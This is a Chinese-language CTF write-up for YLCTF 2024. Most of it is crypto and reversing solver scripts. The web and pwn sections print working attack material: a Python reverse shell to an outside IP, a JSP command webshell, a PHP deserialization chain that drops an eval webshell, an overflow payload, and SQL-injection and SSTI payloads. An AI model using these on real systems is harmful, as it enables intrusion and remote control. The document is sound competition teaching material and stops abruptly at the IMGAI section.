YLCTF2024

本文最后更新于 2024年10月31日 晚上

前言:总排23,新生赛道11

Round 1

crypto

[round1]BREAK

e有范围,由于e的范围不算大,可以进行爆破得到e,求出d,解出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
from gmpy2 import invert, gcd

p = 112201812592436732390795120344111949417282805598314874949132199714697698933980025001138515893011073823715376332558632580563147885418631793000008453933543935617128269371275964779672888059389120797503550397834151733721290859419396400302434404551112484195071653351729447294368676427327217463094723449293599543541
q = 177020901129489152716203177604566447047904210970788458377477238771801463954823395388149502481778049515384638107090852884561335334330598757905074879935774091890632735202395688784335456371467073899458492800214225585277983419966028073512968573622161412555169766112847647015717557828009246475428909355149575012613
c = 2924474039245207571198784141495689937992753969132480503242933533024162740004938423057237165017818906240932582715571015311615140080805023083962661783117059081563515779040295926885648843373271315827557447038547354198633841318619550200065416569879422309228789074212184023902170629973366868476512892731022218074481334467704848598178703915477912059538625730030159772883926139645914921352787315268142917830673283253131667111029720811149494108036204927030497411599878456477044315081343437693246136153310194047948564341148092314660072088671342677689405603317615027453036593857501070187347664725660962477605859064071664385456

n = p * q

phi = (p - 1) * (q - 1)

def generate_primes(start, end):
primes = []
for num in range(start, end + 1):
if isPrime(num):
primes.append(num)
return primes

for e in generate_primes(55555, 66666):
if gcd(e, phi) == 1:
try:
d = invert(e, phi)
m = pow(c, d, n)


flag = long_to_bytes(m).decode('utf-8')
print(f"找到 e = {e}, 解密后的 flag: {flag}")
break
except ZeroDivisionError:
continue # 如果 invert 失败,则继续尝试下一个 e
except UnicodeDecodeError:
continue # 如果解码失败,则继续尝试下一个 e

# YLCTF{fbb6186c-6603-11ef-ba80-deb857dc15be}
[round1]signrsa

RSA 模数 n1 和 n2 之间有公因子 q,从而使得可以分别对这两个模数进行分解,然后使用对应的私钥对密文进行解密,通过共模攻击解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import gmpy2
from Crypto.Util.number import *
n1 = 18674375108313094928585156581138941368570022222190945461284402673204018075354069827186085851309806592398721628845336840532779579197302984987661547245423180760958022898546496524249201679543421158842103496452861932183144343315925106154322066796612415616342291023962127055311307613898583850177922930685155351380500587263611591893137588708003711296496548004793832636078992866149115453883484010146248683416979269684197112659302912316105354447631916609587360103908746719586185593386794532066034112164661723748874045470225129298518385683561122623859924435600673501186244422907402943929464694448652074412105888867178867357727
n2 = 20071978783607427283823783012022286910630968751671103864055982304683197064862908267206049336732205051588820325894943126769930029619538705149178241710069113634567118672515743206769333625177879492557703359178528342489585156713623530654319500738508146831223487732824835005697932704427046675392714922683584376449203594641540794557871881581407228096642417744611261557101573050163285919971711214856243031354845945564837109657494523902296444463748723639109612438012590084771865377795409000586992732971594598355272609789079147061852664472115395344504822644651957496307894998467309347038349470471900776050769578152203349128951
e = 65537
q = gmpy2.gcd(n1,n2)
print(q)
# 10210039189276167395636779557271057346691950991057423589319031237857569595284598319093522326723650646963251941930167018746859556383067696079622198265424441

p1 = n1 // q
p2 = n2 // q

d1 = gmpy2.invert(e,(q-1)*(p1-1))
d2 = gmpy2.invert(e,(q-1)*(p2-1))

c = 17087345023822081623891751423634072935359933429883025338799316908134539732911987403379813791051721409025872046014445468757120127961953783792146805906255385927316168869306218712056692227481252348951991457948040258007096536015704568840248330993815252823424627958278346871867901249369170134106070695916355118499922945313335801615652226556995849239616859826762866841805915253356402366997693599487016453619500217382302173033771577307792501865322742699412806457301297719922487797626724702793650939979227432331932830374740050145956182452965260035182810782721888226896944881610943610565496963461471122317296063535420461202109
m = pow(c,d2,n2)
m = pow(m,d1,n1)
print(long_to_bytes(m))
# b'YLCTF{6567543c-e55b-4563-96ea-e7412e6834c2}\n'
[round1]ezrsa

也是类共模攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import long_to_bytes, inverse
from math import gcd

hint = 74749248594786596691182255254760227675255640419811402596325257219264047909491854266322448991637721043565574231631858096560042784343181104155107927958136483921037567399591407065870395299938514992590953052021824859260647798407649617552126176876304021384535351268838294566489926141346712140945311688664783400430
n = 146150746308368977558105420785404636106107297097656606561134260305844960246816673265377081884447744494438593580830134146856713782255534506122943914554490808124199966427121519694676728571857729213721192818898378912680306144869946238782714021401494162427357692727211780506245166118326256365562777182481342235649
c = 12817272835509631426126672293486991243028800172545793296231214648592002361121076145968763436527652893903622692932403498323802323146995559960945697843044017192966527560462131618029760025950956635249851792561073659666145624864040328809279977987225518572316396679320621448299428750551755789817002220213790188515
e = 65537

p = gcd(pow(20240918, e, n) - hint, n)
q = n // p

d = inverse(e, (p - 1) * (q - 1))
flag = long_to_bytes(pow(c, d, n))

print(flag)
# b'YLCTF{12f142fc-351d-486f-aaa6-b64ebf3e7bdf}\n'
[round1]r(A)=3

典型的矩阵问题,进行交互循环300次得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import numpy as np

p = remote('challenge.yuanloo.com', 23115)

for attempt in range(300):
try:
print(f"Attempt {attempt + 1}...")

line = p.recvuntil(":".encode())
print(f"Received: {line.decode().strip()}")

line = p.recvuntil("x=".encode())
equation_str = line.decode().strip()
print(f"Received: {equation_str}")

equations = equation_str.split("\n")
A = []
B = []

for i, eq in enumerate(equations):
if i == len(equations) - 1: # 忽略最后一行
continue
left, right = eq.split("=")
B.append(float(right.strip()))

# 提取系数
coefficients = [0, 0, 0] # 对应 x, y, z 的系数
for term in left.split("+"):
term = term.strip()
if "x" in term:
coefficients[0] = float(term.split("*")[0]) if "*" in term else 1.0
elif "y" in term:
coefficients[1] = float(term.split("*")[0]) if "*" in term else 1.0
elif "z" in term:
coefficients[2] = float(term.split("*")[0]) if "*" in term else 1.0

A.append(coefficients)

A = np.array(A)
B = np.array(B)

solution = np.linalg.solve(A, B)


p.sendline(str(int(solution[0])))
print(f"{solution[0]}")
line = p.recvuntil("y=".encode())
print(f"Received: {line.decode().strip()}")
p.sendline(str(int(solution[1])))
print(f"{solution[1]}")
line = p.recvuntil("z=".encode())
print(f"Received: {line.decode().strip()}")
p.sendline(str(int(solution[2])))
print(f"{solution[2]}")

except Exception as e:
print(f"Attempt {attempt + 1} failed: {e}")

p.interactive()
[round1]threecry

参考文章https://blog.csdn.net/luochen2436/article/details/131948093

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import gmpy2
from Crypto.Util.number import long_to_bytes

e = 0xe18e
crypto05= 16623038441079077059861502314553840945014390827451667324209537222817794990697456726185616589892380248771957751215156366431853682717356212256182541599038824352426429058283605462766315213017886613935143369630579915129950428539117781616821575904280675596170305716041161748779293269633614559889401304768245038227061
crypto03= 7370478569029817135349016311298954172270465460003018672225010525611372855698643108316167758095660953716705265165460646442696451806405620591202977137450538604803993325516057226246866037605963589652887018894515430484657967483718879717967258257252134148706147029651520914313120373591263784166639605955378617102045
number1 = 6035830951309638186877554194461701691293718312181839424149825035972373443231514869488117139554688905904333169357086297500189578624512573983935412622898726797379658795547168254487169419193859102095920229216279737921183786260128443133977458414094572688077140538467216150378641116223616640713960883880973572260683
number2 = 20163906788220322201451577848491140709934459544530540491496316478863216041602438391240885798072944983762763612154204258364582429930908603435291338810293235475910630277814171079127000082991765275778402968190793371421104016122994314171387648385459262396767639666659583363742368765758097301899441819527512879933947

a_near = gmpy2.iroot(number2//325,2)[0]
while number2 % gmpy2.next_prime(13*a_near)!=0:
a_near = gmpy2.next_prime(a_near)
p = gmpy2.next_prime(13*a_near)
q = number2//p
phi = (p-1)*(q-1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m2 = gmpy2.iroot(pow(crypto05, d, number2), t)[0]
flag2 = long_to_bytes(m2)

d1 = gmpy2.invert(number1, phi)
m1 = pow(crypto03, d1, number2)
flag1 = long_to_bytes(m1)
print(flag1 + flag2)
# b'YLCTF{8d547f68-f394-4254-9ada-2dc306862b66}\n'

Misc

[签到] 打卡小能手

打卡小助手

[Round 1] hide_png

给的图片用stegsolve来看,有点模糊但是可以看看

hide_png

flag没存忘了

[Round 1] pngorzip

pngorzip

save bin形式得到zip,010去掉114514????后面的冗杂内容进行掩码攻击得到giao,解压得到flag

YLCTF{d359d6e4-740a-49cf-83eb-5b0308f09c8c}

[Round 1] plain_crack

尝试再写个压缩包进行明文攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import zipfile
import os

def create(files, zfile):
# 创建一个新的 ZIP 文件
with zipfile.ZipFile(zfile, 'w') as zipf:
for file in files:

zipf.write(file, os.path.basename(file), compress_type=zipfile.ZIP_DEFLATED)

if __name__ == '__main__':
files = ['build.py']
zfile = 'crack2.zip'
create(files, zfile)

pyadminzip我本地的轮子有问题就用了zipfile需要测试几次才可以进行明文攻击,等待几分钟直接解压里面有flag.docx,docx也是一种zip文件形式,改成zip里面有个图片得到flag

crack

[Round 1] trafficdet

是个ai模型分析,把要求告诉chatgpt上传对应的文件然后叫他按形式写出解密脚本就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import accuracy_score


def load_and_preprocess_data(train_file, test_file):
# Load training data
train_data = pd.read_csv(train_file)
train_data = train_data.dropna()

# Separate features and labels
X = train_data.drop(columns=['Label'])
y = train_data['Label']

# Load test data
test_data = pd.read_csv(test_file)

return X, y, test_data


def train_model(X_train, y_train, n_estimators=100, random_state=42):
model = RandomForestClassifier(n_estimators=n_estimators, random_state=random_state)
model.fit(X_train, y_train)
return model


def evaluate_model(model, X_val, y_val):
y_pred = model.predict(X_val)
accuracy = accuracy_score(y_val, y_pred)
print(f'Model Accuracy: {accuracy:.2f}')
return y_pred


def make_predictions(model, X_test):
return model.predict(X_test)


def save_results(predictions, output_file):
result = pd.DataFrame({'Label': predictions})
result.index += 1 # Start index at 1
result.index.name = 'id' # Rename index to 'id'
result.to_csv(output_file, index=True) # Ensure the index is saved


if __name__ == "__main__":
# Load and preprocess data
X, y, test_data = load_and_preprocess_data('train.csv', 'test.csv')

# Split the training data into training and validation sets
X_train, X_val, y_train, y_val = train_test_split(X, y, test_size=0.1, random_state=42)

# Train the model
model = train_model(X_train, y_train)

# Evaluate the model
evaluate_model(model, X_val, y_val)

# Make predictions on the test data
test_preds = make_predictions(model, test_data)

# Save the results
save_results(test_preds, 'result.csv')
[Round 1] whatmusic

可以发现password单独解压,010研究是图片逆转写个脚本

1
2
3
with open('password','rb') as f:
with open('flag','wb') as g:
g.write(f.read()[::-1])

然后导入010改文件尾,得到图片,然后还需要镜像一下,再进行在线网站的镜像处理得到password,然后进行解压

result

然后就没有思路了,给了hint也看不懂,信息收集后发现

music1

死去的记忆痛击我,在今年的iscc里面就有一题是github上面的lyra项目转音频得到wav的题目,主要是要搭建环境,我这里用了香港的vps搭建版本ubuntu20,参考文章Lyra编码器基础环境搭建_lyra dajian-CSDN博客

music2

环境构造搭好之后用xftp传入文件然后得到wav,多听几遍得到了flag

music3

Pwn

[Round 1] giaopwn

giaopwn

有nx保护

vuln有溢出点,查一下是有system和cat flag的

giaopwn2

giao

利用寄存器rbi放入地址

1
2
3
4
5
6
from pwn import *
p = remote("challenge.yuanloo.com",44805)

payload= b'a'*(0x28)+p64(0x400743)+p64(0x601048)+p64(0x4006D2)
p.sendline(payload)
p.interactive()

giao1

Re

[round1]xor

简单测试一下发现有upx,脱壳一下

xor

分析一下简单的异或直接gpt梭个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
encrypted_bytes = [
0x45, 0x50, 0x5f, 0x48, 0x5A, 0x67, 0x25, 0x2F,
0x7E, 0x7D, 0x79, 0x29, 0x7A, 0x7D, 0x31, 0x7D,
0x29, 0x7D, 0x2E, 0x31, 0x28, 0x7D, 0x28, 0x2B,
0x31, 0x25, 0x2A, 0x25, 0x2D, 0x31, 0x2B, 0x79,
0x2A, 0x2B, 0x29, 0x2B, 0x29, 0x79, 0x28, 0x2A,
0x2F, 0x29, 0x61, 0x1C
]

# 解密函数
def decrypt(encrypted_bytes):
decrypted_bytes = []
for byte in encrypted_bytes:
decrypted_byte = byte ^ 0x1C
decrypted_bytes.append(decrypted_byte)
return decrypted_bytes

decrypted_values = decrypt(encrypted_bytes)
decrypted_string = ''.join(chr(b) for b in decrypted_values)
print(decrypted_string)
[round1]ezgo

ida看一下加密逻辑

ezgo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
encrypted_bytes = [
108, 122, 116, 108, 127, 65, 94, 90, 12, 15,
15, 120, 113, 118, 110, 34, 115, 112, 36, 101,
125, 46, 121, 47, 96, 119, 119, 53, 101, 127,
50, 101, 96, 100, 110, 59, 109, 57, 98, 56,
57, 56, 34
]

def decrypt(encrypted):
decrypted = []
for i, byte in enumerate(encrypted):
decrypted_byte = byte ^ (i + 53)
decrypted.append(decrypted_byte)
return bytes(decrypted)

decrypted_bytes = decrypt(encrypted_bytes)
print(decrypted_bytes.decode('utf-8', errors='ignore'))
[round1]xorplus

ida打开分析一下是rc4的加密逻辑,没学会,一股脑把加密逻辑扔给claude帮我解密,出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def rc4_init(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)]) + 1300) % 256
S[i], S[j] = S[j], S[i]
return S


def rc4_crypt(S, data):
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
result.append(((byte - 20) & 0xFF) ^ k)
return bytes(result)


def main():
key = "welcometoylctf"
encrypted_data = [0x91, 0x86, 0x1b, 0x2d, 0x9e, 0x6f, 0x57, 0x5d, 0x44, 0xec, 0xa3, 0x9f, 0xcd, 0x89, 0x22, 0x65,
0x3b, 0xa3, 0x60, 0x2d, 0x80, 0x54, 0x78, 0x67, 0x6c, 0x4e, 0x81, 0x53, 0x4d, 0x26, 0x8, 0x96,
0x84, 0x46, 0x29, 0xc5, 0xb4, 0x7e, 0x29, 0xc5, 0xb9, 0x87, 0xa6]

S = rc4_init(key)
decrypted = rc4_crypt(S, encrypted_data)

print("Decrypted message:", decrypted.decode('ascii'))

if __name__ == "__main__":
main()
[round 1]calc

分析解密的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include<stdio.h>
#include<math.h>
#include<string.h>
#include<stdlib.h>

typedef struct Stack {
double* low;
int size;
double* top;
} stack;

void init(stack* s) {
s->size = 100;
s->low = (double*)malloc((sizeof(double)) * 100);
s->top = s->low;
}

void push(stack* s, double e) {
*(s->top) = e;
s->top++;
}

void pop(stack* s, double* e) {
s->top--;
*e = *(s->top);
}

int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
stack s;
double e, d;
char ch;
double d, e;
init(&s);
char num[100];
int i = 0;

puts("input data, end of '#'");
scanf("%c", &ch);

while (ch != '#') {
while (ch >= '0' && ch <= '9') {
num[i] = ch;
i++;
scanf("%c", &ch);
}

if (ch == ' ') {
num[i] = '\0';
d = atof(num);
push(&s, d);
i = 0;
} else {
switch (ch) {
case '+':
pop(&s, &d);
pop(&s, &e);
push(&s, e + d);
break;
case '-':
pop(&s, &d);
pop(&s, &e);
push(&s, e - d);
break;
case '*':
pop(&s, &d);
pop(&s, &e);
push(&s, e * d);
break;
case '/':
pop(&s, &d);
pop(&s, &e);
push(&s, e / d);
break;
}
}

scanf("%c", &ch);

if (d == 125) {
printf("%s", getenv("GZCTF_FLAG"));
}
}

return 0;
}

程序使用逆波兰表示法(Reverse Polish Notation,RPN)进行计算。当栈顶的值达到 125 时,程序会输出 GZCTF_FLAG。

在栈顶产生值 125。所以能在栈顶产生 125 的 RPN 表达应该是有效的输入

1
5 5 * 5 * #

尝试了一些其他的没有成功这个是成功的

Web

[Round 1] Disal

看不出东西,看看robots.txt,有提示去f1ag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];

if($a>999999 and $key){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>

a是匹配是否有六个字母,b是大于这个数就行函数构造绕过就行

1
2
3
4
5
6
7
8
import requests
url = 'http://challenge.yuanloo.com:21836/f1ag.php'
payload = {
'a': '1000000eeeeee',
'b': '1235abc'
}
response = requests.post(url, data=payload)
print(response.text)
[Round 1] shxpl

测试一下常见的ls和cat都被禁用了,这里空格用%09进行绕过,联合查询一下

shxpl1

然后执行cat /flag 参照上面的内容

shxpl2

[Round 1] Injct

简单测了一下是xss还是ssti,发现是flask的模板注入,测试一下常见的花括号被禁了,用fenjing看看内容

1
python -m fenjing crack --url http://challenge.yuanloo.com:25882/greet --inputs name --method POST

Injct1

可以shell到但是试了常见的命令不能成功

Injct2

考虑到这是python写的网站,用弹个shell给我的vps,成功拿到shell得到flag

1
python3 -c 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("8.130.42.113", 5566)); [os.dup2(s.fileno(), i) for i in (0, 1, 2)]; subprocess.call(["/bin/sh", "-i"])'

shxpl3

[Round 1] TOXEC(复现)

测试了一下发现上传jsp文件会直接杀掉,又dirsearch扫了一下发现在WEB-INF有大量的404回显,猜测可能和羊城杯的题目相似(虽然我没写bushi),先上传一个shell.xml,是jsp的回显马

先上传这个,bp抓包改一下文件名

1
2
3
4
5
6
7
8
9
10
11
12
<% if(request.getParameter("cmd")!=null){  
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}

%>

TOXEC

然后再上传下面这个也需要改成对应的文件格式将上面的xml解析成jsp,传入马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>exec</servlet-name>
<jsp-file>/WEB-INF/shell.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>exec</servlet-name>
<url-pattern>/orange</url-pattern>
</servlet-mapping>
</web-app>

最后的结果如下

TOXEC1

[Round 1] pExpl(复现)

先上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
error_reporting(0);

class FileHandler {
private $fileHandle;
private $fileName;

public function __construct($fileName, $mode = 'r') {
$this->fileName = $fileName;
$this->fileHandle = fopen($fileName, $mode);
if (!$this->fileHandle) {
throw new Exception("Unable to open file: $fileName");
}
echo "File opened: $fileName\n";
}

public function readLine() {
return fgets($this->fileHandle);
}

public function writeLine($data) {
fwrite($this->fileHandle, $data . PHP_EOL);
}

public function __destruct() {
if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
fclose($this->fileHandle);
echo "File closed: {$this->fileName}\n";
}
}
}

class User {

private $userData = [];

public function __set($name, $value) {
if ($name == 'password') {
$value = password_hash($value, PASSWORD_DEFAULT);
}
$this->userData[$name] = $value;
}

public function __get($name) {
return $this->userData[$name] ?? null;
}

public function __toString() {
if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
call_user_func($this->data,$this->params);
}
return "Hello";
}

public function __isset($name) {
return isset($this->userData[$name]);
}
}

class Logger {
private $logFile;
private $lastEntry;

public function __construct($logFile = 'application.log') {
$this->logFile = $logFile;
}

private function log($level, $message) {
$this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL;

file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND);
}

public function setLogFile($logFile) {
$this->logFile = $logFile;
}

public function clearOldLogs($daysToKeep = 30) {
$files = glob("*.log");
$now = time();
foreach ($files as $file) {
if (is_file($file)) {
if ($now - filemtime($file) >= 60 * 60 * 24 * $daysToKeep) {
unlink($file);
}
}
}
}

public function __call($name, $arguments) {

$validLevels = ['info', 'warning', 'error', 'debug'];
if (in_array($name, $validLevels)) {
$this->log(strtoupper($name), $arguments[0]);
} else {
throw new Exception("Invalid log level: $name");
}
}

public function __invoke($message, $level = 'INFO') {
$this->log($level, $message);
}
}

if(isset($_GET['exp'])) {
if(preg_match('/<\?php/i',$_GET['exp'])){
exit;
}
$exp = unserialize($_GET['exp']);
throw new Exception("Test!");
} else {
highlight_file(__FILE__);
}
1
2
3
4
5
if(preg_match('/<\?php/i',$_GET['exp'])){
exit;
}
$exp = unserialize($_GET['exp']);
throw new Exception("Test!");

根据这里可以使用php的短标签,throw new Exception("Test!");可以利用GC机制进行绕过,简单的来说就用构造数组进行绕过

再分析一下上面的pop链

1
2
3
4
5
6
public function __destruct() {
if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
fclose($this->fileHandle);
echo "File closed: {$this->fileName}\n";
}
}

echo可以触发__toString魔术

1
2
3
4
5
6
public function __toString() {
if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
call_user_func($this->data,$this->params);
}
return "Hello";
}

call_user_func 函数用于回调构造,不能直接触发命令执行,由于有参数限制,也不能直接调用,可以尝试构造不存在的函数以此来触发__call魔术

1
2
3
4
5
6
7
8
9
public function __call($name, $arguments) {

$validLevels = ['info', 'warning', 'error', 'debug'];
if (in_array($name, $validLevels)) {
$this->log(strtoupper($name), $arguments[0]);//调用 log 方法,传递日志级别(转换为大写)和第一个参数 $arguments[0],这通常是要记录的消息。
} else {
throw new Exception("Invalid log level: $name");
}
}

需要调用到 array 中的一个,然后在触发文件写入,构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class FileHandler {
private $fileHandle;
private $fileName;

public function __construct($fileName) {
$this->fileName = $fileName;
}
}
class User {
private $userData = [];
}
class Logger {
private $logFile;
private $lastEntry;

public function __construct($logFile) {
$this->logFile = $logFile;
}
}
// 创建 Logger 对象
$c = new Logger("/var/www/html/1.php");
// 创建 User 对象
$b = new User();
// 为 User 对象的属性赋值
$b->data = [$c, "info"];
$b->params = '<?=@eval($_POST[1]);?>';
// 创建 FileHandler 对象,传入 User 对象
$a = new FileHandler($b);
// 序列化并替换特定字符串
$a1 = array($a, null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);
// 输出 URL 编码后的字符串
echo urlencode($s);
?>

pexpl

[Round 1] sInXx(复现)

这题在写的时候一直没找到注入点,跟着复现一下

1
search=juan79%27%09and%09(1=1)%23

这个是有回显的,看下面的

1
search=juan79%27%09and%09(1=2)%23

这个就是无回显的

然后接着继续测试一下

1
search=juan79%27%09union%09select%091,2,3,4%23

测试发现,应该被过滤了,可以用别名进行查询

1
search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

继续测(不是MySQL的数据库,而是sql sever的数据库)

sys.schema_table_statistics_with_buffer 是一个系统表,通常在 SQL Server 中存在,包含关于表的统计信息。

1
search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)FROM%09sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

sInXx

继续往下测

1
search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09`2`%09FROM%09(SELECT%09*%09FROM%09((SELECT%091)a%09JOIN%09(SELECT%092)b)%09UNION%09SELECT%09*%09FROM%09DataSyncFLAG)p%09limit%092%09offset%091)A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

最后得到了flag这个数据库没怎么遇见过涨知识了,

还有一道java我最近刚开始学,先不复现了。

Round 2

crypto

[Round 2] ezAES

key和iv需要进行填充,得到字符串只会输入靶场得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def adjust_bytes(data, size):
return data[:size].ljust(size, b'\0')

# Adjust key and IV to be exactly 16 bytes
key = adjust_bytes(b'YLCTF-CRYPTO', 16)
iv = adjust_bytes(b'YLCTF-IV', 16)

print("Key:", key)
print("IV:", iv)

# The encrypted data
encrypted_data = b'\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19'

# Create the AES cipher object
cipher = AES.new(key, AES.MODE_CBC, iv)

# Decrypt the data
decrypted_data = cipher.decrypt(encrypted_data)

# Remove padding
try:
unpadded_data = unpad(decrypted_data, AES.block_size)
# Convert to string
flag = unpadded_data.decode('utf-8')
print("Decrypted flag:", flag)
except ValueError as e:
print("Decryption failed. Error:", str(e))
print("Raw decrypted data:", decrypted_data)
[Round 2] ancat(三血)

通过反 Arnold 变换对图像进行解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import cv2
import numpy as np

def arnold_decode(image, shuffle_times, a, b):

decode_image = np.zeros(shape=image.shape, dtype=np.uint8)
h, w = image.shape[0], image.shape[1]
N = h # Assuming square image, otherwise use min(h, w)

for _ in range(shuffle_times):
for x in range(h):
for y in range(w):
new_x = ((a*b+1)*x + (-b)*y) % N
new_y = (-a*x + y) % N
decode_image[new_x, new_y, :] = image[x, y, :]
image = np.copy(decode_image)

cv2.imwrite('de_flag.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return decode_image

# Usage
img = cv2.imread('en_flag.png')
decoded_img = arnold_decode(img, 3, 6, 9)
[Round 2] hhhhhash(二血)

通过 RSA 加密和解密的操作,生成一个由 23 相关的预映像。该预映像是由两个固定值 23,以及它们加密后异或的解密结果组成的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import inverse

# 给定的 RSA 参数
N = 24187393262220937846390501443742832858626434119009614437585110078354058452015513549456536194956883531427150348615517313864237793745207153851247294085645697596388459039963846522372296585446089302800483043022329465803710493794211051569707438274254451965191340677881575500674368344178840546343108889174677894222885416258598492663798090390503785098514218961277236306118846673370386248291600553097856252637702622367340613301550171775336709322733018489345819827313673171715980174821509418454309036717777663660169340209676530313209371349708592854940984111594670893579387030559835418881208057159859916049414143236495356055079
e = 65537

# 计算 c = pow(2, e, N) ^ pow(3, e, N)
c = pow(2, e, N) ^ pow(3, e, N)

# 计算 phi 和 d
phi = N - 1 # 注意:这个假设只在 N 是梅森素数时成立
d = inverse(e, phi)

# 计算 x
x = pow(c, d, N)

# 将结果转换为字节并编码为十六进制
b0 = (2).to_bytes(256, 'big').hex()
b1 = (3).to_bytes(256, 'big').hex()
b2 = x.to_bytes(256, 'big').hex()

# 组合最终的 preimage
preimage = b0 + b1 + b2

print("Calculated preimage:")
print(preimage)
[Round 2] rand(一血)

参考ASIS2023 Crypto - 知乎 (zhihu.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import re

p = remote('challenge.yuanloo.com', 46464)

for _ in range(400): # 本地测试不知道要多少轮,直接拉到400得到flag会自己断的
line = p.recvuntil("\n".encode())
line_decoded = line.decode()
print(line_decoded) # 打印解码后的内容

numbers = re.findall(r'\d+', line_decoded)
if numbers:
p_value = int(numbers[0])
g = p_value - 4
print("p =", p_value)

line = p.recvuntil("g:".encode())
print(line.decode())

p.sendline(str(g).encode())
print("g =", g)

line = p.recvuntil(":".encode())
print(line.decode())

x = 2
y = p_value - 2
p.sendline(f"{x},{y}".encode())
print(f"Sending: {x},{y}")

p.interactive()

Misc

[Round 2] IMGAI(三血)

和iscc 2024的re题有点相似,也是需要识别图片转得知文字,利用模型得到答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
